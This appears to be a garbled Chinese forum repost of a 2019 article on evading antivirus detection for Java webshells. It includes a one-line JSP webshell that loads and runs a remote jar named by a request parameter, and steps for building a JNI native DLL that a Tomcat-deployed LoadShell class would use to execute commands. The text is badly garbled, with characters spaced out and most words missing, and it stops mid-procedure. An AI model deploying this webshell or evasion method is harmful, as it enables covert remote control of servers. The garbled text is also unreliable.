[6062] 2019-07-31_webshell中的分离免杀实践-java篇

文档创建者:s7ckTeam
浏览次数:12
最后更新:2025-01-17
2019-07-31_webshell中的分离免杀实践-java篇 :   j a r   w e b s h e l l - j a v a W e i r d B i r d   E   2 0 1 9 - 0 7 - 3 1 使 j s p   使 w e b s h e l l   w e b s h e l l l o a d   j a v a j a r   w e b s h e l l   w e b s h e l l   1 . j a v a   j s p   , j a r     ( j a r ) < % = C l a s s . f o r N a m e ( " L o a d " , t r u e , n e w   j a v a . n e t . U R L C l a s s L o a d e r ( n e w   j a v a . n e t . U R L [ ] { n e w   j a v a . n e t . U R L ( r e q u e s t . g e t P a r a m e t e r ( " u " ) ) } ) ) . g e t M e t h o d s ( ) [ 0 ] . i n v o k e ( n u l l ,   n e w   O b j e c t [ ] { r e q u e s t . g e t P a r a m e t e r M a p ( ) } ) % >
2 .   j a r   s h e l l   . j a v a j a v a   j a r  
3 :     j a r
:   j n i d l l   j a v a J a v a 访 J a v a J N I J a v a   N a t i v e   I n t e r f a c e   访 J N I J a v a 使 J a v a J N I J a v a D E M O J N I
j a v a 使 n a t i v e C / C + + D L L j a v a n a t i v e J a v a 1 .   J a v a n a t i v e ( ) 2 .   j a v a h . h 3 .   . c p p n a t i v e . h J D K j n i . h 4 .   . c p p 5 .   J a v a S y s t e m . l o a d L i b r a r y ( ) S y s t e m . l o a d ( ) n a t i v e ( ) J a v a 访 1 :   . j a v a  
2 :   j a v a   c c j n i . h   j a v a h o m e i n c l u d e   d l l   s o  
3 :   C C # i n c l u d e   " H e l l o N a t i v e . h " # i n c l u d e   < s t d i o . h > J N I E X P O R T   v o i d   J N I C A L L   J a v a _ H e l l o N a t i v e _ s a y H e l l o ( J N I E n v   * e n v ,   j c l a s s   j c ) {       p r i n t f ( " H e l l o h e r e   f r o m   c J N I " ) ;       } 4 :   d l l   w i n d l l   l i n u x   s o   * 3 g c c   - m 6 4     - W l , - - a d d - s t d c a l l - a l i a s   - I   " C : P r o g r a m   F i l e s J a v a j d k 1 . 8 . 0 _ 1 6 1 i n c l u d e "   - I   " C : P r o g r a m   F i l e s J a v a j d k 1 . 8 . 0 _ 1 6 1 i n c l u d e w i n 3 2 "   - s h a r e d   - o   H e l l o N a t i v e . d l l       H e l l o N a t i v e . c j a v a   d l l  
w e b s h e l l   t o m c a t   1 :   p a c k a g e o r g . a p a c h e . j s p ,   l o a d s h e l l . j a v a p a c k a g e   o r g . a p a c h e . j s p ; p u b l i c   c l a s s   L o a d S h e l l {     s t a t i c   c l a s s   J n i C l a s s       {               p u b l i c   s t a t i c   n a t i v e   S t r i n g   e x e c (   S t r i n g   s t r i n g   ) ;       } } 2 :   h   c d t a r g e t / c l a s s 使   j a v a h   o r g . a p a c h e . j s p . L o a d S h e l l $ J n i C l a s s     o r g _ a p a c h e _ j s p _ L o a d S h e l l . h  
3 :   c
c  
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则